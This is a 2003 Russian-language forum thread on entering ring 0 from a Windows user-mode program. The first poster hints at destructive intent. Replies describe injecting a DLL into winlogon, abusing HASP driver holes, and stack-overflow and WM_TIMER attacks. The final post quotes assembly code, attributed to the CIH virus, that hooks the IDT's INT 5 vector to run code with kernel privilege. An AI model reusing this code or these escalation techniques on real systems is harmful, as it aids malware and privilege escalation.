|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Апр 29, 2003 15:24:59 Помогите пожалуйста с вопросом !!! Меня очень инетересует, можно ли попасть в нулевое кольцо из пользовательского приложения ??? В частности, меня интересует, реально ли это под NT 5.0 (5.1) ??? Если это возможно, то укажите пример или дайте ссылку, где это можно посмотреть !!!! Заранее спасибо !!! |
|
|
Дата: Апр 29, 2003 17:01:31 Ты хочеш выполнить привелигированную инструкцию, которой нужен ринг 0 ? Тогда тебе нужно написать драйвер.... |
|
|
Дата: Апр 29, 2003 17:34:08 Нет ! Я это и сам понимаю .... Для выполнения привелигированой инструкции нужен драйвер (так как он выполняется в ring-0 соответственно), для запуска драйвера нужен менеджер (или что-то, связанное с SCM), ну и в конечном итоге .... нужны админские права, чтобы запустить драйвер !!! Нет всей этой хрени !!! Просто я пытаюсь выяснить, можно ли попасть в ринг-0 ... потому как далее уже будет не важно, привилигированная инструкция или нет .... Далее - будет смерть. |
|
|
Дата: Май 7, 2003 14:10:38 Меня тоже в своё время интересовал этот вопрос... но как это сделать без админских прав, я не выкопал (ни ручками под отладкой, ни из литературы). Админские права нужны полюбому. Тогда можно открыть специфический обьект, который даёт доступ ко всей памяти, пропадчить LDT -- и флаг тебе в руки, ветер в спину, movsb в ... Счас я эпизодически работаю над проблемой получения этих самых прав "автоматом", т.е. без предварительного исследования системы/софта отладчиком (которое необходимо при атаках на переполнение стека и WM_TIMER атаки). Есть некоторые подвижки, но пока слабые. В частности мне удалось заставить (при некоторых условиях, которые, впрочем, почти всегда выполняются) winlogon подгрузить к себе в адресное пространство мою DLL-ку, но она некорректно инициализируется, поэтому не получает прав "подгружающего" процесса (т.е. winlogon'а). Короче, работаю... |
|
|
Дата: Май 17, 2003 02:33:15 Можно использовать дырки в драйверах. Например всем известный драйвер электронного ключа HASP имеет такую дырку. Даже более того, специальный сервис R3->R0. ;-) |
|
|
Дата: Июл 13, 2003 04:38:42 Эта тема довольно интересная. Сейчас пишу программу физического доступа к диску, но гружу ее как драйвер, а хотелось бы иначе... Если что получится пиши profi_200@tut.by |
|
|
Дата: Ноя 18, 2003 13:38:05 А как на счет такого кода от Kick10 (http://betov.free.fr/UsersDemos.html)? Код из Чиха. У меня нет достаточно опыта, чтобы его полностью понять. Может быть кто-то объяснит? Пожалуйста! ---- Ring0.inc ---- include windows.inc include kernel32.inc include user32.inc includelib kernel32.lib includelib user32.lib .Data Msg db 'All debug regs have been reset to zero',0 Capt db 'Here we are >:)',0 ------Ring0.asm----------------- .586 .model flat,stdcall option casemap:none include Ring0.inc .code start: push ebp ; First save all nessesary startup values ; to restore them after Ring0 code finishes lea eax,[esp-8] xor ebx,ebx assume fs:nothing xchg fs:[ebx],eax call @F @@: pop ebx lea ecx,StopToRun[ebx] sub ecx,@B push ecx push eax push eax ; Load IDT to get the old INT 5 vector sidt qword ptr [esp-2] pop ebx ;ebx now points to the start of IDT add ebx,44 ;ebx= 05h*08h+04h ZF = 0, calculating INT 5 vector cli mov ebp,[ebx] ; Get exception base mov bp,[ebx-4] ; and entry point ; EBP will hold the original INT 5 vector lea esi,ExceptionHook ; our new exception handler's offset in ESI push esi mov [ebx-4],si ; Set the new vector shr esi,10h ; Modify Exception mov [ebx+2],si ; Entry Point offset pop esi int 5 ; Generate exception to switch to Ring0 ReadyRestoreSE: ; Restore everything and proceed to Ring3 code sti xor ebx,ebx jmp RestoreSE StopToRun: ; If exception error will occur - here is the handler for it xor ebx,ebx mov eax,fs:[ebx] mov esp,[eax] RestoreSE: pop fs:[ebx] pop eax pop ebp ; Here your Ring3 code starts invoke MessageBox,NULL,offset Msg,offset Capt,MB_OK invoke ExitProcess,NULL ExceptionHook: ; Here your Ring0 code starts xor eax,eax ; Set DR[0-3] registers to zero mov DR0,eax mov DR1,eax mov DR2,eax mov DR3,eax mov [ebx-4],bp ; Restore the old INT 5 vector shr ebp,10h mov [ebx+2],bp iretd ; And return back to Ring3 end start |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.042 |